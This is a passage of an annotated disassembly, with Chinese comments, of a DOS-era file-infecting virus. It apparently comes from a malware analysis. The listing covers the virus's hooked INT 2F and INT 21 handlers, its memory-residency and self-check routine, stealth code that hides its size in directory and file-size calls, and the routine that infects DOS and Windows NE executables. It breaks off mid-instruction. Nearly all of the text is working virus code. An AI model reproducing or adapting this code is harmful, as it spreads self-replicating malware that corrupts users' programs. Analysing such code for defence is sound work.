89365D11 MOV [115D],SI F6C8:0436 07 POP ES F6C8:0437 1F POP DS F6C8:0438 61 POPA F6C8:0439 EADA101001 JMP 0110:10DA ;转原 INT 2A ;========================================================================= ; 新 INT 2F 中断代码部分 ;========================================================================= F6C8:043E 2E CS: F6C8:043F C606C00D3C MOV BYTE PTR [0DC0],3C F6C8:0444 50 PUSH AX F6C8:0445 55 PUSH BP F6C8:0446 8BEC MOV BP,SP F6C8:0448 80FC11 CMP AH,11 ;模拟原 INT 2F 功能 F6C8:044B 7404 JZ 0451 ;CMP AH,11/JNZ xxxx F6C8:044D 8346040A ADD WORD PTR [BP+04],+0A F6C8:0451 8B460A MOV AX,[BP+0A] ;取调用 INT 2F 之地址 F6C8:0454 8CCD MOV BP,CS ;如果是病毒自己调用 F6C8:0456 3BC5 CMP AX,BP ;转原 INT 2F F6C8:0458 5D POP BP F6C8:0459 58 POP AX F6C8:045A 740C JZ 0468 ; F6C8:045C 3D1612 CMP AX,1216 ;非病毒自己调用 F6C8:045F 7507 JNZ 0468 ;则将 1216 功能 F6C8:0461 83C404 ADD SP,+04 ;屏蔽, 出错返回 F6C8:0464 F9 STC F6C8:0465 CA0200 RETF 0002 F6C8:0468 CB RETF ;========================================================================== ;BOOT 引入时执行 INT 21H 时先执行本子程序 ;功能为在第一次执行可执行程序时申请内存块驻留 F6C8:0469 80FC4B CMP AH,4B ;非执行程序退出 F6C8:046C 7401 JZ 046F F6C8:046E C3 RET F6C8:046F 60 PUSHA F6C8:0470 1E PUSH DS F6C8:0471 06 PUSH ES F6C8:0472 0AC0 OR AL,AL F6C8:0474 7428 JZ 049E ;执行文件转 049E F6C8:0476 8BF2 MOV SI,DX ;装入设备驱动程序 F6C8:0478 AC LODSB F6C8:0479 0AC0 OR AL,AL F6C8:047B 75FB JNZ 0478 F6C8:047D 817CF74D33 CMP WORD PTR [SI-09],334D F6C8:0482 7517 JNZ 049B F6C8:0484 817CF45145 CMP WORD PTR [SI-0C],4551 F6C8:0489 7510 JNZ 049B F6C8:048B E89CFD CALL 022A ;如果装入 QEMM386.SYS F6C8:048E B80013 MOV AX,1300 ;再次设置新 INT 13H F6C8:0491 8BD3 MOV DX,BX F6C8:0493 CD2F INT 2F (Multiplex) F6C8:0495 2E CS: F6C8:0496 C606FF00EB MOV BYTE PTR [00FF],EB F6C8:049B E99B00 JMP 0539 F6C8:049E 2E CS: ;执行程序时 F6C8:049F C606FF00EB MOV BYTE PTR [00FF],EB F6C8:04A4 B452 MOV AH,52 ;取表之表地址 F6C8:04A6 E85108 CALL 0CFA F6C8:04A9 26 ES: F6C8:04AA 8B47FE MOV AX,[BX-02] ;取第一块 MCB 地址 F6C8:04AD E8C7FB CALL 0077 ;取最后一块 MCB 地址 F6C8:04B0 8EDB MOV DS,BX F6C8:04B2 8BC3 MOV AX,BX F6C8:04B4 034503 ADD AX,[DI+03] F6C8:04B7 80FCA0 CMP AH,A0 F6C8:04BA 760D JBE 04C9 ;不在 UMB 中转 04C9 F6C8:04BC 33F6 XOR SI,SI ;在 UMB 中则驻留内存 F6C8:04BE E8CDFB CALL 008E F6C8:04C1 B9B004 MOV CX,04B0 F6C8:04C4 F3 REPZ F6C8:04C5 2E CS: F6C8:04C6 A4 MOVSB F6C8:04C7 734B JNB 0514 F6C8:04C9 B80058 MOV AX,5800 ;取内存分配策略 F6C8:04CC E82B08 CALL 0CFA F6C8:04CF 50 PUSH AX F6C8:04D0 B80158 MOV AX,5801 ;设高到低寻找策略 F6C8:04D3 BB8000 MOV BX,0080 F6C8:04D6 50 PUSH AX F6C8:04D7 E82008 CALL 0CFA F6C8:04DA B80258 MOV AX,5802 ;得到 UMB 链状态 F6C8:04DD E81A08 CALL 0CFA F6C8:04E0 32E4 XOR AH,AH F6C8:04E2 50 PUSH AX F6C8:04E3 B80358 MOV AX,5803 ;设新的 UMB 状态 F6C8:04E6 B301 MOV BL,01 ;为将 UMB 加入 DOS 内存链 F6C8:04E8 50 PUSH AX F6C8:04E9 E80E08 CALL 0CFA F6C8:04EC B448 MOV AH,48 ;分配内存 F6C8:04EE BB3801 MOV BX,0138 F6C8:04F1 E80608 CALL 0CFA F6C8:04F4 95 XCHG AX,BP F6C8:04F5 58 POP AX F6C8:04F6 5B POP BX F6C8:04F7 E80008 CALL 0CFA ;恢复分配内存策略 F6C8:04FA 58 POP AX ;及恢复 UMB 状态 F6C8:04FB 5B POP BX F6C8:04FC E8FB07 CALL 0CFA F6C8:04FF 33FF XOR DI,DI F6C8:0501 8EC5 MOV ES,BP F6C8:0503 4D DEC BP F6C8:0504 8EDD MOV DS,BP ;将内存块改为 DOS 使用 F6C8:0506 C745010800 MOV WORD PTR [DI+01],0008 F6C8:050B 33F6 XOR SI,SI F6C8:050D 0E PUSH CS F6C8:050E 1F POP DS F6C8:050F B97713 MOV CX,1377 F6C8:0512 F3 REPZ F6C8:0513 A4 MOVSB ;驻留内存 F6C8:0514 0E PUSH CS F6C8:0515 1F POP DS F6C8:0516 8B3E4502 MOV DI,[0245] ;将 INT 21 地址 F6C8:051A 8B365D11 MOV SI,[115D] ;改到新的地址 F6C8:051E C51E5711 LDS BX,[1157] F6C8:0522 8C47FE MOV [BX-02],ES F6C8:0525 8C4404 MOV [SI+04],ES F6C8:0528 8ED9 MOV DS,CX F6C8:052A 8C4502 MOV [DI+02],ES F6C8:052D 26 ES: F6C8:052E C60604013C MOV BYTE PTR [0104],3C F6C8:0533 26 ES: F6C8:0534 C60658053D MOV BYTE PTR [0558],3D F6C8:0539 07 POP ES F6C8:053A 1F POP DS F6C8:053B 61 POPA F6C8:053C C3 RET ;========================================================================= ; 新 INT 21H 代码部分 ;========================================================================= F6C8:053D 2E CS: F6C8:053E 8F065711 POP WORD PTR [1157] ;保存返回地址 F6C8:0542 2E CS: ;于 1157 (IP) 和 1159 (CS) F6C8:0543 8F065911 POP WORD PTR [1159] F6C8:0547 9C PUSHF F6C8:0548 55 PUSH BP F6C8:0549 8BEC MOV BP,SP F6C8:054B 817E045344 CMP WORD PTR [BP+04],4453 F6C8:0550 5D POP BP F6C8:0551 7504 JNZ 0557 ;???? F6C8:0553 9D POPF F6C8:0554 44 INC SP F6C8:0555 44 INC SP F6C8:0556 C3 RET F6C8:0557 9D POPF F6C8:0558 3D0EFF CMP AX,FF0E ====> ;BOOT 引入时 F6C8:055B 80FC11 CMP AH,11 ;本句代码为 CALL 0469 F6C8:055E 7235 JB 0595 F6C8:0560 80FC12 CMP AH,12 ;DOS 功能 11,12 (DIR 时使用) F6C8:0563 7730 JA 0595 ;则更改文件长度 F6C8:0565 E82308 CALL 0D8B ;调用原 INT 21 功能 F6C8:0568 0AC0 OR AL,AL ;成功转 057B F6C8:056A 740F JZ 057B F6C8:056C 50 PUSH AX F6C8:056D B81812 MOV AX,1218 ;INT 2F 之 1218 功能 F6C8:0570 E84D08 CALL 0DC0 ;取 DOS 调用者寄存器 F6C8:0573 58 POP AX F6C8:0574 8904 MOV [SI],AX ;修改返回值 F6C8:0576 2E CS: ;返回调用处 F6C8:0577 FF2E5711 JMP FAR DWORD PTR [1157] F6C8:057B E86208 CALL 0DE0 ; F6C8:057E 74EC JZ 056C F6C8:0580 50 PUSH AX F6C8:0581 B42F MOV AH,2F F6C8:0583 E87407 CALL 0CFA F6C8:0586 26 ES: F6C8:0587 803FFF CMP BYTE PTR [BX],FF F6C8:058A 7503 JNZ 058F F6C8:058C 83C307 ADD BX,+07 F6C8:058F 43 INC BX F6C8:0590 BE0200 MOV SI,0002 F6C8:0593 EB17 JMP 05AC ;========================================================================== F6C8:0595 80FC4E CMP AH,4E F6C8:0598 7239 JB 05D3 F6C8:059A 80FC4F CMP AH,4F F6C8:059D 7734 JA 05D3 F6C8:059F E8E907 CALL 0D8B F6C8:05A2 50 PUSH AX F6C8:05A3 722B JB 05D0 F6C8:05A5 B42F MOV AH,2F F6C8:05A7 E85007 CALL 0CFA F6C8:05AA 33F6 XOR SI,SI F6C8:05AC E82808 CALL 0DD7 F6C8:05AF 741F JZ 05D0 F6C8:05B1 06 PUSH ES F6C8:05B2 1F POP DS F6C8:05B3 807F19C8 CMP BYTE PTR [BX+19],C8 F6C8:05B7 7217 JB 05D0 F6C8:05B9 806F19C8 SUB BYTE PTR [BX+19],C8 F6C8:05BD C4401A LES AX,[BX+SI+1A] F6C8:05C0 8CC2 MOV DX,ES F6C8:05C2 2DC70E SUB AX,0EC7 F6C8:05C5 83DA00 SBB DX,+00 F6C8:05C8 7206 JB 05D0 F6C8:05CA 89401A MOV [BX+SI+1A],AX F6C8:05CD 89501C MOV [BX+SI+1C],DX F6C8:05D0 58 POP AX F6C8:05D1 EB99 JMP 056C ;========================================================================= F6C8:05D3 3D0242 CMP AX,4202 F6C8:05D6 7526 JNZ 05FE F6C8:05D8 E8FA06 CALL 0CD5 F6C8:05DB 7621 JBE 05FE F6C8:05DD E8F707 CALL 0DD7 F6C8:05E0 741C JZ 05FE F6C8:05E2 816D11C70E SUB WORD PTR [DI+11],0EC7 F6C8:05E7 835D1300 SBB WORD PTR [DI+13],+00 F6C8:05EB 57 PUSH DI F6C8:05EC 1E PUSH DS F6C8:05ED E89B07 CALL 0D8B F6C8:05F0 1F POP DS F6C8:05F1 5F POP DI F6C8:05F2 814511C70E ADD WORD PTR [DI+11],0EC7 F6C8:05F7 83551300 ADC WORD PTR [DI+13],+00 F6C8:05FB E96EFF JMP 056C ;========================================================================== F6C8:05FE 80FC57 CMP AH,57 F6C8:0601 7520 JNZ 0623 F6C8:0603 E8CF06 CALL 0CD5 F6C8:0606 761B JBE 0623 F6C8:0608 E8CC07 CALL 0DD7 F6C8:060B 7416 JZ 0623 F6C8:060D 57 PUSH DI F6C8:060E 1E PUSH DS F6C8:060F 0AC0 OR AL,AL F6C8:0611 7504 JNZ 0617 F6C8:0613 806D10C8 SUB BYTE PTR [DI+10],C8 F6C8:0617 E87107 CALL 0D8B F6C8:061A 1F POP DS F6C8:061B 5F POP DI F6C8:061C 804510C8 ADD BYTE PTR [DI+10],C8 F6C8:0620 E949FF JMP 056C ;=========================================================================== F6C8:0623 80FC3F CMP AH,3F F6C8:0626 7403 JZ 062B F6C8:0628 E94901 JMP 0774 F6C8:062B E8A907 CALL 0DD7 ;新 INT 21 之 3F 功能 F6C8:062E 74F8 JZ 0628 ;执行压缩文件跳过 F6C8:0630 1E PUSH DS F6C8:0631 E8A106 CALL 0CD5 ;取文件句柄表地址 F6C8:0634 1F POP DS F6C8:0635 76F1 JBE 0628 F6C8:0637 2E CS: F6C8:0638 8C1E6B0C MOV [0C6B],DS F6C8:063C 0E PUSH CS F6C8:063D 1F POP DS F6C8:063E 890E650C MOV [0C65],CX F6C8:0642 8916680C MOV [0C68],DX F6C8:0646 83266F0700 AND WORD PTR [076F],0000 F6C8:064B 06 PUSH ES F6C8:064C 1F POP DS F6C8:064D E85A06 CALL 0CAA ;测试当前文件指针 F6C8:0650 2D4000 SUB AX,0040 F6C8:0653 83DA00 SBB DX,+00 F6C8:0656 7320 JNB 0678 ;非文件头 40H 字节转 0678 F6C8:0658 034511 ADD AX,[DI+11] F6C8:065B 135513 ADC DX,[DI+13] F6C8:065E 874515 XCHG AX,[DI+15] F6C8:0661 875517 XCHG DX,[DI+17] F6C8:0664 8BCA MOV CX,DX F6C8:0666 92 XCHG AX,DX F6C8:0667 E8F205 CALL 0C5C F6C8:066A 7303 JNB 066F F6C8:066C E9FD00 JMP 076C F6C8:066F 9C PUSHF F6C8:0670 03D0 ADD DX,AX F6C8:0672 E83F06 CALL 0CB4 F6C8:0675 9D POPF F6C8:0676 74F4 JZ 066C F6C8:0678 06 PUSH ES F6C8:0679 E82E06 CALL 0CAA F6C8:067C 50 PUSH AX F6C8:067D 52 PUSH DX F6C8:067E E83F06 CALL 0CC0 F6C8:0681 E86A05 CALL 0BEE F6C8:0684 59 POP CX F6C8:0685 5A POP DX F6C8:0686 9C PUSHF F6C8:0687 E82A06 CALL 0CB4 F6C8:068A 9D POPF F6C8:068B C406030F LES AX,[0F03] F6C8:068F 8CC1 MOV CX,ES F6C8:0691 1F POP DS F6C8:0692 7303 JNB 0697 F6C8:0694 E9BE00 JMP 0755 F6C8:0697 874511 XCHG AX,[DI+11] F6C8:069A 50 PUSH AX F6C8:069B 874D13 XCHG CX,[DI+13] F6C8:069E 51 PUSH CX F6C8:069F E8BA05 CALL 0C5C F6C8:06A2 8F4513 POP WORD PTR [DI+13] F6C8:06A5 8F4511 POP WORD PTR [DI+11] F6C8:06A8 7703 JA 06AD F6C8:06AA E9BF00 JMP 076C F6C8:06AD E8FA05 CALL 0CAA F6C8:06B0 0E PUSH CS F6C8:06B1 1F POP DS F6C8:06B2 2B06030F SUB AX,[0F03] F6C8:06B6 1B16050F SBB DX,[0F05] F6C8:06BA 753F JNZ 06FB F6C8:06BC 3D4800 CMP AX,0048 F6C8:06BF 733A JNB 06FB F6C8:06C1 05070F ADD AX,0F07 F6C8:06C4 96 XCHG AX,SI F6C8:06C5 33C0 XOR AX,AX F6C8:06C7 8B3E680C MOV DI,[0C68] F6C8:06CB 8E066B0C MOV ES,[0C6B] F6C8:06CF 8B0E650C MOV CX,[0C65] F6C8:06D3 E312 JCXZ 06E7 F6C8:06D5 81FE4F0F CMP SI,0F4F F6C8:06D9 730C JNB 06E7 F6C8:06DB A4 MOVSB F6C8:06DC FF066F07 INC WORD PTR [076F] F6C8:06E0 FF06680C INC WORD PTR [0C68] F6C8:06E4 40 INC AX F6C8:06E5 E2EE LOOP 06D5 F6C8:06E7 890E650C MOV [0C65],CX F6C8:06EB E8E705 CALL 0CD5 F6C8:06EE 014515 ADD [DI+15],AX F6C8:06F1 83551700 ADC WORD PTR [DI+17],+00 F6C8:06F5 0BC9 OR CX,CX F6C8:06F7 7502 JNZ 06FB F6C8:06F9 EB71 JMP 076C F6C8:06FB 0E PUSH CS F6C8:06FC 1F POP DS F6C8:06FD A12B0F MOV AX,[0F2B] F6C8:0700 33D2 XOR DX,DX F6C8:0702 050100 ADD AX,0001 F6C8:0705 13D2 ADC DX,DX F6C8:0707 BE0800 MOV SI,0008 F6C8:070A F7E6 MUL SI F6C8:070C 0306310F ADD AX,[0F31] F6C8:0710 83D200 ADC DX,+00 F6C8:0713 0306030F ADD AX,[0F03] F6C8:0717 1316050F ADC DX,[0F05] F6C8:071B E8B705 CALL 0CD5 F6C8:071E 3B5517 CMP DX,[DI+17] F6C8:0721 7232 JB 0755 F6C8:0723 7705 JA 072A F6C8:0725 3B4515 CMP AX,[DI+15] F6C8:0728 762B JBE 0755 F6C8:072A 2D0800 SUB AX,0008 F6C8:072D 83DA00 SBB DX,+00 F6C8:0730 874511 XCHG AX,[DI+11] F6C8:0733 50 PUSH AX F6C8:0734 875513 XCHG DX,[DI+13] F6C8:0737 52 PUSH DX F6C8:0738 836D1508 SUB WORD PTR [DI+15],+08 F6C8:073C 835D1700 SBB WORD PTR [DI+17],+00 F6C8:0740 E81905 CALL 0C5C F6C8:0743 9C PUSHF F6C8:0744 83451508 ADD WORD PTR [DI+15],+08 F6C8:0748 83551500 ADC WORD PTR [DI+15],+00 F6C8:074C 9D POPF F6C8:074D 8F4513 POP WORD PTR [DI+13] F6C8:0750 8F4511 POP WORD PTR [DI+11] F6C8:0753 7617 JBE 076C F6C8:0755 816D11C70E SUB WORD PTR [DI+11],0EC7 F6C8:075A 835D1300 SBB WORD PTR [DI+13],+00 F6C8:075E E8FB04 CALL 0C5C F6C8:0761 9C PUSHF F6C8:0762 814511C70E ADD WORD PTR [DI+11],0EC7 F6C8:0767 83551300 ADC WORD PTR [DI+13],+00 F6C8:076B 9D POPF F6C8:076C 7203 JB 0771 F6C8:076E B875D5 MOV AX,D575 F6C8:0771 E9F8FD JMP 056C ;=========================================================================== F6C8:0774 60 PUSHA ;病毒驻留检验 F6C8:0775 1E PUSH DS ;以 AX = 187F F6C8:0776 06 PUSH ES ; BX = 4453 调用 F6C8:0777 3D7F18 CMP AX,187F ;返回 AX = 434E F6C8:077A 7514 JNZ 0790 F6C8:077C 81FB5344 CMP BX,4453 F6C8:0780 750E JNZ 0790 F6C8:0782 B81812 MOV AX,1218 ;取返回寄存器地址 F6C8:0785 E83806 CALL 0DC0 ;修改返回 AX 值 F6C8:0788 8144024E43 ADD WORD PTR [SI+02],434E F6C8:078D E9C201 JMP 0952 ;=========================================================================== F6C8:0790 80FC40 CMP AH,40 F6C8:0793 7403 JZ 0798 F6C8:0795 E9F100 JMP 0889 F6C8:0798 E83A05 CALL 0CD5 F6C8:079B 76F8 JBE 0795 F6C8:079D E81604 CALL 0BB6 F6C8:07A0 FF7505 PUSH WORD PTR [DI+05] F6C8:07A3 C54515 LDS AX,[DI+15] F6C8:07A6 50 PUSH AX F6C8:07A7 1E PUSH DS F6C8:07A8 E81505 CALL 0CC0 F6C8:07AB 7303 JNB 07B0 F6C8:07AD E9C800 JMP 0878 F6C8:07B0 E83B04 CALL 0BEE F6C8:07B3 9C PUSHF F6C8:07B4 8306030F08 ADD WORD PTR [0F03],+08 F6C8:07B9 8316050F00 ADC WORD PTR [0F05],+00 F6C8:07BE 9D POPF F6C8:07BF 7303 JNB 07C4 F6C8:07C1 E99900 JMP 085D F6C8:07C4 8B441C MOV AX,[SI+1C] F6C8:07C7 33D2 XOR DX,DX F6C8:07C9 B90800 MOV CX,0008 F6C8:07CC F7E1 MUL CX F6C8:07CE 034422 ADD AX,[SI+22] F6C8:07D1 83D200 ADC DX,+00 F6C8:07D4 50 PUSH AX F6C8:07D5 52 PUSH DX F6C8:07D6 0306030F ADD AX,[0F03] F6C8:07DA 1316050F ADC DX,[0F05] F6C8:07DE 050002 ADD AX,0200 F6C8:07E1 83D200 ADC DX,+00 F6C8:07E4 8BCA MOV CX,DX F6C8:07E6 92 XCHG AX,DX F6C8:07E7 E8CA04 CALL 0CB4 F6C8:07EA 5A POP DX F6C8:07EB 58 POP AX F6C8:07EC 2D4000 SUB AX,0040 F6C8:07EF 83DA00 SBB DX,+00 F6C8:07F2 B90002 MOV CX,0200 F6C8:07F5 F7F1 DIV CX F6C8:07F7 8BFA MOV DI,DX F6C8:07F9 95 XCHG AX,BP F6C8:07FA 83ED01 SUB BP,+01 F6C8:07FD 722E JB 082D F6C8:07FF B9FFFF MOV CX,FFFF F6C8:0802 BAF8FB MOV DX,FBF8 F6C8:0805 E8AF04 CALL 0CB7 F6C8:0808 B43F MOV AH,3F F6C8:080A B90002 MOV CX,0200 F6C8:080D BA4F0F MOV DX,0F4F F6C8:0810 E88C04 CALL 0C9F F6C8:0813 7263 JB 0878 F6C8:0815 B9FFFF MOV CX,FFFF F6C8:0818 BA08FE MOV DX,FE08 F6C8:081B E89904 CALL 0CB7 F6C8:081E B440 MOV AH,40 F6C8:0820 B90002 MOV CX,0200 F6C8:0823 BA4F0F MOV DX,0F4F F6C8:0826 E87604 CALL 0C9F F6C8:0829 73CF JNB 07FA F6C8:082B EB4B JMP 0878 F6C8:082D B9FFFF MOV CX,FFFF F6C8:0830 8D950802 LEA DX,[DI+0208] F6C8:0834 F7DA NEG DX F6C8:0836 E87E04 CALL 0CB7 F6C8:0839 B43F MOV AH,3F F6C8:083B 8BCF MOV CX,DI F6C8:083D BA4F0F MOV DX,0F4F F6C8:0840 E85C04 CALL 0C9F F6C8:0843 7233 JB 0878 F6C8:0845 B9FFFF MOV CX,FFFF F6C8:0848 8D5540 LEA DX,[DI+40] F6C8:084B F7DA NEG DX F6C8:084D E86704 CALL 0CB7 F6C8:0850 B440 MOV AH,40 F6C8:0852 8D4D48 LEA CX,[DI+48] F6C8:0855 BA070F MOV DX,0F07 F6C8:0858 E84404 CALL 0C9F F6C8:085B 721B JB 0878 F6C8:085D E83004 CALL 0C90 F6C8:0860 7216 JB 0878 F6C8:0862 B9FFFF MOV CX,FFFF F6C8:0865 BA39F1 MOV DX,F139 F6C8:0868 E84F04 CALL 0CBA F6C8:086B B440 MOV AH,40 F6C8:086D 41 INC CX F6C8:086E E88904 CALL 0CFA F6C8:0871 E86104 CALL 0CD5 F6C8:0874 806D10C8 SUB BYTE PTR [DI+10],C8 F6C8:0878 59 POP CX F6C8:0879 5A POP DX F6C8:087A E83704 CALL 0CB4 F6C8:087D E85504 CALL 0CD5 F6C8:0880 8F4505 POP WORD PTR [DI+05] F6C8:0883 E85303 CALL 0BD9 F6C8:0886 E9C900 JMP 0952 ;========================================================================= F6C8:0889 80FC3E CMP AH,3E F6C8:088C 750C JNZ 089A F6C8:088E E82503 CALL 0BB6 F6C8:0891 E8E100 CALL 0975 F6C8:0894 E84203 CALL 0BD9 F6C8:0897 E9B800 JMP 0952 ;========================================================================= F6C8:089A 80FC43 CMP AH,43 F6C8:089D 7419 JZ 08B8 F6C8:089F 80FC56 CMP AH,56 F6C8:08A2 7414 JZ 08B8 F6C8:08A4 3D004B CMP AX,4B00 F6C8:08A7 7205 JB 08AE F6C8:08A9 3D054B CMP AX,4B05 F6C8:08AC 7603 JBE 08B1 F6C8:08AE E9A100 JMP 0952 F6C8:08B1 7505 JNZ 08B8 F6C8:08B3 8BF2 MOV SI,DX F6C8:08B5 C55404 LDS DX,[SI+04] ;========================================================================== F6C8:08B8 50 PUSH AX F6C8:08B9 E8FA02 CALL 0BB6 F6C8:08BC B8003D MOV AX,3D00 F6C8:08BF E83804 CALL 0CFA F6C8:08C2 720F JB 08D3 F6C8:08C4 93 XCHG AX,BX F6C8:08C5 53 PUSH BX F6C8:08C6 52 PUSH DX F6C8:08C7 1E PUSH DS F6C8:08C8 E8AA00 CALL 0975 F6C8:08CB 1F POP DS F6C8:08CC 5A POP DX F6C8:08CD 5B POP BX F6C8:08CE B43E MOV AH,3E F6C8:08D0 E82704 CALL 0CFA F6C8:08D3 E80303 CALL 0BD9 F6C8:08D6 58 POP AX F6C8:08D7 3D014B CMP AX,4B01 F6C8:08DA 751F JNZ 08FB F6C8:08DC 33ED XOR BP,BP F6C8:08DE B8003D MOV AX,3D00 F6C8:08E1 E81604 CALL 0CFA F6C8:08E4 7211 JB 08F7 F6C8:08E6 93 XCHG AX,BX F6C8:08E7 E8EB03 CALL 0CD5 F6C8:08EA 7606 JBE 08F2 F6C8:08EC E8D103 CALL 0CC0 F6C8:08EF 7201 JB 08F2 F6C8:08F1 45 INC BP F6C8:08F2 B43E MOV AH,3E F6C8:08F4 E80304 CALL 0CFA F6C8:08F7 0BED OR BP,BP F6C8:08F9 7502 JNZ 08FD F6C8:08FB EB55 JMP 0952 F6C8:08FD 07 POP ES F6C8:08FE 1F POP DS F6C8:08FF 61 POPA F6C8:0900 53 PUSH BX F6C8:0901 06 PUSH ES F6C8:0902 E88604 CALL 0D8B F6C8:0905 07 POP ES F6C8:0906 5F POP DI F6C8:0907 50 PUSH AX F6C8:0908 7304 JNB 090E F6C8:090A 58 POP AX F6C8:090B E95EFC JMP 056C F6C8:090E B451 MOV AH,51 F6C8:0910 CD21 INT 21 (DOS) F6C8:0912 8BEB MOV BP,BX F6C8:0914 BEC70E MOV SI,0EC7 F6C8:0917 0E PUSH CS F6C8:0918 1F POP DS F6C8:0919 AD LODSW F6C8:091A E88F02 CALL 0BAC F6C8:091D 7409 JZ 0928 F6C8:091F 48 DEC AX F6C8:0920 26 ES: F6C8:0921 C47D12 LES DI,[DI+12] F6C8:0924 AB STOSW F6C8:0925 A4 MOVSB F6C8:0926 EBE2 JMP 090A F6C8:0928 83C70E ADD DI,+0E F6C8:092B 1E PUSH DS F6C8:092C 26 ES: F6C8:092D C51D LDS BX,[DI] F6C8:092F 8B0F MOV CX,[BX] F6C8:0931 1F POP DS F6C8:0932 8B440E MOV AX,[SI+0E] F6C8:0935 48 DEC AX F6C8:0936 48 DEC AX F6C8:0937 AB STOSW F6C8:0938 93 XCHG AX,BX F6C8:0939 8D4610 LEA AX,[BP+10] F6C8:093C 50 PUSH AX F6C8:093D 03440C ADD AX,[SI+0C] F6C8:0940 AB STOSW F6C8:0941 1E PUSH DS F6C8:0942 8ED8 MOV DS,AX F6C8:0944 890F MOV [BX],CX F6C8:0946 1F POP DS F6C8:0947 8B4412 MOV AX,[SI+12] F6C8:094A AB STOSW F6C8:094B 58 POP AX F6C8:094C 034414 ADD AX,[SI+14] F6C8:094F AB STOSW F6C8:0950 EBB8 JMP 090A ;========================================================================== F6C8:0952 07 POP ES F6C8:0953 1F POP DS F6C8:0954 61 POPA ;INT 21 CALL SS:[XXXX] F6C8:0955 2E CS: ;的返回地址 (1157) F6C8:0956 FF365711 PUSH WORD PTR [1157] F6C8:095A 55 PUSH BP F6C8:095B 2E CS: F6C8:095C 8B2E5311 MOV BP,[1153] ;调用地址 F6C8:0960 8B6E00 MOV BP,[BP+00] F6C8:0963 2E CS: F6C8:0964 892E5711 MOV [1157],BP F6C8:0968 5D POP BP F6C8:0969 2E CS: F6C8:096A FF365911 PUSH WORD PTR [1159] ;调用 INT 21 的段地址 F6C8:096E 2E CS: F6C8:096F FF365711 PUSH WORD PTR [1157] ;调用地址 F6C8:0973 CB RETF ;到原 INT 21 功能 F6C8:0974 C3 RET ;========================================================================== F6C8:0975 E85D03 CALL 0CD5 F6C8:0978 72FA JB 0974 F6C8:097A 75F8 JNZ 0974 F6C8:097C 833D01 CMP WORD PTR [DI],+01 F6C8:097F 75F3 JNZ 0974 F6C8:0981 F645053E TEST BYTE PTR [DI+05],3E F6C8:0985 7514 JNZ 099B F6C8:0987 BAF503 MOV DX,03F5 F6C8:098A B004 MOV AL,04 F6C8:098C EE OUT DX,AL F6C8:098D B504 MOV CH,04 F6C8:098F E2FE LOOP 098F F6C8:0991 EE OUT DX,AL F6C8:0992 B504 MOV CH,04 F6C8:0994 E2FE LOOP 0994 F6C8:0996 EC IN AL,DX F6C8:0997 A840 TEST AL,40 F6C8:0999 75D9 JNZ 0974 F6C8:099B B445 MOV AH,45 F6C8:099D E85A03 CALL 0CFA F6C8:09A0 72D2 JB 0974 F6C8:09A2 53 PUSH BX F6C8:09A3 93 XCHG AX,BX F6C8:09A4 B43E MOV AH,3E F6C8:09A6 E85103 CALL 0CFA F6C8:09A9 5B POP BX F6C8:09AA 72C8 JB 0974 F6C8:09AC B80045 MOV AX,4500 F6C8:09AF 864504 XCHG AL,[DI+04] F6C8:09B2 A81C TEST AL,1C F6C8:09B4 75BE JNZ 0974 F6C8:09B6 50 PUSH AX F6C8:09B7 99 CWD F6C8:09B8 E83F03 CALL 0CFA F6C8:09BB 93 XCHG AX,BX F6C8:09BC C745020200 MOV WORD PTR [DI+02],0002 F6C8:09C1 B84300 MOV AX,0043 F6C8:09C4 324528 XOR AL,[DI+28] F6C8:09C7 BD4F4D MOV BP,4D4F F6C8:09CA 336D29 XOR BP,[DI+29] F6C8:09CD 0BE8 OR BP,AX F6C8:09CF E8BB02 CALL 0C8D F6C8:09D2 7223 JB 09F7 F6C8:09D4 8BF2 MOV SI,DX F6C8:09D6 BF870E MOV DI,0E87 F6C8:09D9 0E PUSH CS F6C8:09DA 07 POP ES F6C8:09DB F3 REPZ F6C8:09DC A4 MOVSB F6C8:09DD E8CD02 CALL 0CAD F6C8:09E0 91 XCHG AX,CX F6C8:09E1 8B05 MOV AX,[DI] F6C8:09E3 E8C601 CALL 0BAC F6C8:09E6 7420 JZ 0A08 F6C8:09E8 0BD5 OR DX,BP F6C8:09EA 750B JNZ 09F7 F6C8:09EC B0E9 MOV AL,E9 F6C8:09EE AA STOSB F6C8:09EF 91 XCHG AX,CX F6C8:09F0 2D0300 SUB AX,0003 F6C8:09F3 AB STOSW F6C8:09F4 E98D01 JMP 0B84 F6C8:09F7 E8DB02 CALL 0CD5 F6C8:09FA 58 POP AX F6C8:09FB 884504 MOV [DI+04],AL F6C8:09FE 804D0640 OR BYTE PTR [DI+06],40 F6C8:0A02 B43E MOV AH,3E F6C8:0A04 E8F302 CALL 0CFA F6C8:0A07 C3 RET ;======================================================================= ; 感染 .EXE 文件代码部分 ;======================================================================= F6C8:0A08 52 PUSH DX F6C8:0A09 51 PUSH CX F6C8:0A0A E82102 CALL 0C2E ;检测是否 WINDOWS 文件 F6C8:0A0D 58 POP AX ;是,转 0A14 F6C8:0A0E 5A POP DX F6C8:0A0F 7303 JNB 0A14 F6C8:0A11 E9EB00 JMP 0AFF ;DOS .EXE 转0AFF ;======================================================================= ;传染 WINDOWS .EXE 文件及新格式 .EXE 文件 F6C8:0A14 F6441580 TEST BYTE PTR [SI+15],80 F6C8:0A18 75DD JNZ 09F7 ;.DLL 不传染 F6C8:0A1A 8B4C3A MOV CX,[SI+3A] ;取移位值 F6C8:0A1D D1EA SHR DX,1 F6C8:0A1F D1D8 RCR AX,1 F6C8:0A21 72D4 JB 09F7 ;文件长不是移位的 F6C8:0A23 E2F8 LOOP 0A1D ;整数倍不传染 F6C8:0A25 0BD2 OR DX,DX F6C8:0A27 75CE JNZ 09F7 ;文件 > 65535*移位单位 不传染 F6C8:0A29 A3750E MOV [0E75],AX ;文件大小 (新的 CS:IP 入口段) F6C8:0A2C B108 MOV CL,08 F6C8:0A2E 294D3C SUB [DI+3C],CX ;新 NE 文件头位置前移 8 字节 F6C8:0A31 19553E SBB [DI+3E],DX F6C8:0A34 AC LODSB F6C8:0A35 0AC0 OR AL,AL ;如果这 8 字节不为 0 F6C8:0A37 E1FB LOOPE 0A34 ;则不传染 F6C8:0A39 75BC JNZ 09F7 F6C8:0A3B 8B4422 MOV AX,[SI+22] ;段地址表偏移量 F6C8:0A3E B105 MOV CL,05 F6C8:0A40 56 PUSH SI ;以下修改 NE 文件头下列部分 F6C8:0A41 BD0400 MOV BP,0004 ; 0004 登记表偏移 F6C8:0A44 3E DS: ; 0024 资源表偏移 F6C8:0A45 3B02 CMP AX,[BP+SI] ; 0026 驻留表偏移 F6C8:0A47 7304 